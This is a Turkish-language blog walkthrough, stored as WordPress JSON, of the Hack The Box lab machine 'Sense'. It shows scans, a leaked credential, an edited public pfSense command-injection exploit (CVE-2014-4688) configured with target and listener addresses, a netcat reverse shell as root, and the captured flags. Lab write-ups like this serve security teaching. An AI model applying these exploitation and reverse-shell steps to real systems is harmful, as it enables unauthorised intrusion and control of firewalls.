{"id":1677,"date":"2021-12-05T11:17:14","date_gmt":"2021-12-05T11:17:14","guid":{"rendered":"http:\/\/144.76.171.171\/blog\/?p=1677"},"modified":"2021-12-05T11:17:14","modified_gmt":"2021-12-05T11:17:14","slug":"sense","status":"publish","type":"post","link":"https:\/\/berenkudaygorun.com\/blog\/blog\/2021\/12\/05\/sense\/","title":{"rendered":"Sense"},"content":{"rendered":"\n\n\n\n\n
Makine Ad\u0131<\/th>\nSeviye<\/th>\nOS<\/th>\nLogo<\/th>\n<\/tr>\n<\/thead>\n
Sense<\/a> – HTB<\/td>\nEasy<\/td>\nLinux<\/td>\n\"\"<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

Walkthrough<\/h2>\n

nmap taramas\u0131 ile ba\u015flayal\u0131m.<\/p>\n

\u250c\u2500\u2500(root💀kali)-[~]                                                                                                   \u2502\n\u2514\u2500# nmap -p- -A -T4 10.10.10.60                                                                                       \u2502Finished ffuf scan\nStarting Nmap 7.91 ( https:\/\/nmap.org ) at 2021-12-04 15:14 EST                                                       \u2502\nNmap scan report for 10.10.10.60 (10.10.10.60)                                                                        \u2502=========================\nHost is up (0.12s latency).                                                                                           \u2502\nNot shown: 65533 filtered ports                                                                                       \u2502Starting sslscan scan\nPORT    STATE SERVICE    VERSION                                                                                      \u2502\n80\/tcp  open  http       lighttpd 1.4.35                                                                              \u2502ERROR: Could not open a connection to host 10.10.10.60 (10.10.10.60) on port 443 (connect: Timed out).\n|_http-server-header: lighttpd\/1.4.35                                                                                 \u2502Version: 2.0.10-static\n|_http-title: Did not follow redirect to https:\/\/10.10.10.60\/                                                         \u2502OpenSSL 1.1.1l-dev  xx XXX xxxx\n443\/tcp open  ssl\/https?                                                                                              \u2502\n| ssl-cert: Subject: commonName=Common Name (eg, YOUR name)\/organizationName=CompanyName\/stateOrProvinceName=Somewhere\u2502\n\/countryName=US                                                                                                       \u2502Finished sslscan scan\n| Not valid before: 2017-10-14T19:21:35                                                                               \u2502\n|_Not valid after:  2023-04-06T19:21:35                                                                               \u2502=========================\n|_ssl-date: TLS randomness does not represent time                                                                    \u2502\nWarning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port                 \u2502Starting nikto scan\nDevice type: specialized                                                                                              \u2502\nRunning (JUST GUESSING): Comau embedded (92%)                                                                         \u2502- Nikto v2.1.6\nAggressive OS guesses: Comau C4G robot control unit (92%)                                                             \u2502---------------------------------------------------------------------------\nNo exact OS matches for host (test conditions non-ideal).                                                             \u2502+ No web server found on 10.10.10.60:443\nNetwork Distance: 2 hops                                                                                              \u2502---------------------------------------------------------------------------\n                                                                                                                      \u2502+ 0 host(s) tested\nTRACEROUTE (using port 443\/tcp)                                                                                       \u2502\nHOP RTT       ADDRESS                                                                                                 \u2502Finished nikto scan\n1   149.88 ms 10.10.14.1 (10.10.14.1)                                                                                 \u2502\n2   149.89 ms 10.10.10.60 (10.10.10.60)                                                                               \u2502=========================\n                                                                                                                      \u2502\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .                 \u2502Starting ffuf scan\nNmap done: 1 IP address (1 host up) scanned in 156.79 seconds  <\/code><\/pre>\n
80’e gitti\u011fimde direkt olarak beni 443’e y\u00f6nlendiriyordu ayr\u0131ca bir pfsense router ile kar\u015f\u0131 kar\u015f\u0131yayd\u0131m. pfsense deyince akla ilk olarak CVE-2016-10709<\/strong> gelmeli. 2.3 s\u00fcr\u00fcm\u00fcnden \u00f6nce b\u00fct\u00fcn s\u00fcr\u00fcmler i\u00e7in uzaktan komut \u00e7al\u0131\u015ft\u0131rma zafiyeti vard\u0131. Ayr\u0131nt\u0131lar\u0131 https:\/\/www.cvedetails.com\/vulnerability-list\/vendor_id-11749\/product_id-21763\/Pfsense-Pfsense.html<\/a> adresinden kontrol edebilirsiniz. Bunu yapaca\u011f\u0131m\u0131z bariz. Bu nedenle exploit etmek i\u00e7in gerekli olan gereksinimlere odakland\u0131m. Bir credential bulmam gerekiyordu. \u0130lk ba\u015fta default credential’lar\u0131 denedim ancak olmad\u0131. Bunun \u00fczerine nikto ve gobuster ile devam etim.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[~]\n\u2514\u2500# gobuster dir --add-slash --expanded --follow-redirect --url https:\/\/10.10.10.60\/ --no-error -t 50 -x php,html,txt -k --wordlist \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt --timeout 20s --no-tls-validation | tee 10.10.10.60\/gobuster2\n===============================================================\nGobuster v3.1.0\nby OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)\n===============================================================\n[+] Url:                     https:\/\/10.10.10.60\/\n[+] Method:                  GET\n[+] Threads:                 50\n[+] Wordlist:                \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt\n[+] Negative Status codes:   404\n[+] User Agent:              gobuster\/3.1.0\n[+] Extensions:              php,html,txt\n[+] Add Slash:               true\n[+] Follow Redirect:         true\n[+] Expanded:                true\n[+] Timeout:                 20s\n===============================================================\n2021\/12\/04 15:23:33 Starting gobuster in directory enumeration mode\n===============================================================\nhttps:\/\/10.10.10.60\/index.html           (Status: 200) [Size: 329]\nhttps:\/\/10.10.10.60\/help.php             (Status: 200) [Size: 6689]\nhttps:\/\/10.10.10.60\/index.php            (Status: 200) [Size: 6690]\nhttps:\/\/10.10.10.60\/stats.php            (Status: 200) [Size: 6690]\nhttps:\/\/10.10.10.60\/edit.php             (Status: 200) [Size: 6689]\nhttps:\/\/10.10.10.60\/license.php          (Status: 200) [Size: 6692]\nhttps:\/\/10.10.10.60\/system.php           (Status: 200) [Size: 6691]\nhttps:\/\/10.10.10.60\/status.php           (Status: 200) [Size: 6691]\nhttps:\/\/10.10.10.60\/changelog.txt        (Status: 200) [Size: 271] \nhttps:\/\/10.10.10.60\/exec.php             (Status: 200) [Size: 6689]\nhttps:\/\/10.10.10.60\/graph.php            (Status: 200) [Size: 6690]\nhttps:\/\/10.10.10.60\/tree\/                (Status: 200) [Size: 7492]\nhttps:\/\/10.10.10.60\/wizard.php           (Status: 200) [Size: 6691]\nhttps:\/\/10.10.10.60\/pkg.php              (Status: 200) [Size: 6688]\nhttps:\/\/10.10.10.60\/installer\/           (Status: 200) [Size: 6113]\nhttps:\/\/10.10.10.60\/xmlrpc.php           (Status: 200) [Size: 384] \nhttps:\/\/10.10.10.60\/reboot.php           (Status: 200) [Size: 6691]\nhttps:\/\/10.10.10.60\/interfaces.php       (Status: 200) [Size: 6695]\nhttps:\/\/10.10.10.60\/system-users.txt     (Status: 200) [Size: 106] \n\n===============================================================\n2021\/12\/05 05:34:11 Finished\n===============================================================\n<\/code><\/pre>\n
https:\/\/10.10.10.60\/system-users.txt<\/a><\/strong> bizim i\u00e7in \u00f6nemli bir aland\u0131. Buraya gitti\u011fimde bir credential elde ettim.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[~]\n\u2514\u2500# curl https:\/\/10.10.10.60\/system-users.txt  -k                                                                                                                                                                                       60 \u2a2f\n####Support ticket###\n\nPlease create the following user\n\nusername: Rohit\npassword: company defaults  <\/code><\/pre>\n
rohit:pfsense<\/code> ikiliyse i\u00e7eriye girdim ve hemen exploiti indiridm \u00e7\u00fcnk\u00fc s\u00fcr\u00fcm 2.3’\u00fcn alt\u0131ndayd\u0131 bunu dashboard ekran\u0131ndan g\u00f6rebiliyordum.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[~]                                                                                                   \n\u2514\u2500# searchsploit pfsense                                                                                              \n----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------\n Exploit Title                                                                                                                                                                                             |  Path\n----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------\npfSense - 'interfaces.php?if' Cross-Site Scripting                                                                                                                                                         | hardware\/remote\/35071.txt\npfSense - 'pkg.php?xml' Cross-Site Scripting                                                                                                                                                               | hardware\/remote\/35069.txt\npfSense - 'pkg_edit.php?id' Cross-Site Scripting                                                                                                                                                           | hardware\/remote\/35068.txt\npfSense - 'status_graph.php?if' Cross-Site Scripting                                                                                                                                                       | hardware\/remote\/35070.txt\npfSense - (Authenticated) Group Member Remote Command Execution (Metasploit)                                                                                                                               | unix\/remote\/43193.rb\npfSense 2 Beta 4 - 'graph.php' Multiple Cross-Site Scripting Vulnerabilities                                                                                                                               | php\/remote\/34985.txt\npfSense 2.0.1 - Cross-Site Scripting \/ Cross-Site Request Forgery \/ Remote Command Execution                                                                                                               | php\/webapps\/23901.txt\npfSense 2.1 build 20130911-1816 - Directory Traversal                                                                                                                                                      | php\/webapps\/31263.txt\npfSense 2.2 - Multiple Vulnerabilities                                                                                                                                                                     | php\/webapps\/36506.txt\npfSense 2.2.5 - Directory Traversal                                                                                                                                                                        | php\/webapps\/39038.txt\npfSense 2.3.1_1 - Command Execution                                                                                                                                                                        | php\/webapps\/43128.txt\npfSense 2.3.2 - Cross-Site Scripting \/ Cross-Site Request Forgery                                                                                                                                          | php\/webapps\/41501.txt\nPfsense 2.3.4 \/ 2.4.4-p3 - Remote Code Injection                                                                                                                                                           | php\/webapps\/47413.py\npfSense 2.4.1 - Cross-Site Request Forgery Error Page Clickjacking (Metasploit)                                                                                                                            | php\/remote\/43341.rb\npfSense 2.4.4-p1 (HAProxy Package 0.59_14) - Persistent Cross-Site Scripting                                                                                                                               | php\/webapps\/46538.txt\npfSense 2.4.4-p1 - Cross-Site Scripting                                                                                                                                                                    | multiple\/webapps\/46316.txt\npfSense 2.4.4-p3 (ACME Package 0.59_14) - Persistent Cross-Site Scripting                                                                                                                                  | php\/webapps\/46936.txt\npfSense 2.4.4-P3 - 'User Manager' Persistent Cross-Site Scripting                                                                                                                                          | freebsd\/webapps\/48300.txt\npfSense 2.4.4-p3 - Cross-Site Request Forgery                                                                                                                                                              | php\/webapps\/48714.txt\npfSense < 2.1.4 - 'status_rrd_graph_img.php' Command Injection                                                                                                                                             | php\/webapps\/43560.py\npfSense Community Edition 2.2.6 - Multiple Vulnerabilities                                                                                                                                                 | php\/webapps\/39709.txt\npfSense Firewall 2.2.5 - Config File Cross-Site Request Forgery                                                                                                                                            | php\/webapps\/39306.html\npfSense Firewall 2.2.6 - Services Cross-Site Request Forgery                                                                                                                                               | php\/webapps\/39695.txt\npfSense UTM Platform 2.0.1 - Cross-Site Scripting                                                                                                                                                          | freebsd\/webapps\/24439.txt\n----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------\nShellcodes: No Results                                                                                                \nPapers: No Results        \n\n\u250c\u2500\u2500(root💀kali)-[~\/10.10.10.60\/exp]                                                                                   \n\u2514\u2500# searchsploit -m php\/webapps\/43560.py                                                                              \n  Exploit: pfSense < 2.1.4 - 'status_rrd_graph_img.php' Command Injection                                             \n      URL: https:\/\/www.exploit-db.com\/exploits\/43560                                                                  \n     Path: \/usr\/share\/exploitdb\/exploits\/php\/webapps\/43560.py                                                         \nFile Type: Python script, ASCII text executable, with CRLF line terminators                                           \n\nCopied to: \/root\/10.10.10.60\/exp\/43560.py                                                                             \n<\/code><\/pre>\n
\u0130ndirdi\u011fim exploiti okudu\u011fumda benden parametre arac\u0131l\u0131\u011f\u0131yla lhost, rhost gibi de\u011ferler istiyordu bunlar\u0131 direkt silerek statik bir \u015fekilde girdim. Kodun son hali a\u015fa\u011f\u0131daki gibi oldu.<\/p>\n
\n\u250c\u2500\u2500(root💀kali)-[~\/10.10.10.60\/exp]                                                                                                                                                                                                          \n\u2514\u2500# head -n 30 43560.py                                                                                                                                                                                                                      \n#!\/usr\/bin\/env python3                                                                                                                                                                                                                       \n\n# Exploit Title: pfSense <= 2.1.3 status_rrd_graph_img.php Command Injection.                                                                                                                                                                \n# Date: 2018-01-12                                                                                                                                                                                                                           \n# Exploit Author: absolomb                                                                                                                                                                                                                   \n# Vendor Homepage: https:\/\/www.pfsense.org\/                                                                                                                                                                                                  \n# Software Link: https:\/\/atxfiles.pfsense.org\/mirror\/downloads\/old\/                                                                                                                                                                          \n# Version: <=2.1.3                                                                                                                                                                                                                           \n# Tested on: FreeBSD 8.3-RELEASE-p16                                                                                                                                                                                                         \n# CVE : CVE-2014-4688                                                                                                                                                                                                                        \n\nimport argparse                                                                                                                                                                                                                              \nimport requests                                                                                                                                                                                                                              \nimport urllib                                                                                                                                                                                                                                \nimport urllib3                                                                                                                                                                                                                               \nimport collections                                                                                                                                                                                                                           \n\n'''                                                                                                                   \npfSense <= 2.1.3 status_rrd_graph_img.php Command Injection.                                                          \nThis script will return a reverse shell on specified listener address and port.                                       \nEnsure you have started a listener to catch the shell before running!                                                 \n'''                                                                                                                   \n\nrhost = "10.10.10.60"                                                                                                 \nlhost = "10.10.14.26"                                                                                                 \nlport = "4444"                                                                                                        \nusername = "rohit"                                                                                                    \npassword = "pfsense"        <\/code><\/pre>\n
Dinleme noktam\u0131 a\u00e7t\u0131m ve kodu \u00e7al\u0131\u015ft\u0131rd\u0131m.<\/p>\n
                                                                                                                     \u2502\n\u250c\u2500\u2500(root💀kali)-[~\/10.10.10.60\/exp]                                                                                   \u2502\n\u2514\u2500# python3 43560.py                                                                                                  \u2502\nCSRF token obtained                                                                                                   \u2502\nRunning exploit...                                                                                                    \u2502\nExploit completed   <\/code><\/pre>\n
\u250c\u2500\u2500(root💀kali)-[~]\n\u2514\u2500# nc -lvp 4444\nlistening on [any] 4444 ...\nconnect to [10.10.14.26] from 10.10.10.60 [10.10.10.60] 30144\nsh: can't access tty; job control turned off\n# id\nuid=0(root) gid=0(wheel) groups=0(wheel)\n# id\nuid=0(root) gid=0(wheel) groups=0(wheel)\n# cd \/home\n# ls\n.snap\nrohit\n# cd rohit\n# ls\n.tcshrc\nuser.txt\n# cat user.txt\n8721327cc232073b40d27d9c17e7348b# \n# \n# cd \/root\n# ls\n.cshrc\n.first_time\n.gitsync_merge.sample\n.hushlogin\n.login\n.part_mount\n.profile\n.shrc\n.tcshrc\nroot.txt\n# cat root.txt\nd08c32a5d4f8c8b10e76eb51a69f1a86\n# \n<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"
Makine Ad\u0131 Seviye OS Logo Sense – HTB Easy Linux Walkthrough nmap taramas\u0131 ile ba\u015flayal\u0131m. \u250c\u2500\u2500(root💀kali)-[~] \u2502 \u2514\u2500# nmap -p- -A -T4 10.10.10.60 \u2502Finished ffuf…<\/p>\n
Devam\u0131n\u0131 okuSense<\/span><\/a><\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[498],"tags":[646],"class_list":["post-1677","post","type-post","status-publish","format-standard","hentry","category-walkthrough","tag-pfsense","entry"],"_links":{"self":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1677","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/comments?post=1677"}],"version-history":[{"count":1,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1677\/revisions"}],"predecessor-version":[{"id":1678,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1677\/revisions\/1678"}],"wp:attachment":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/media?parent=1677"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/categories?post=1677"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/tags?post=1677"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}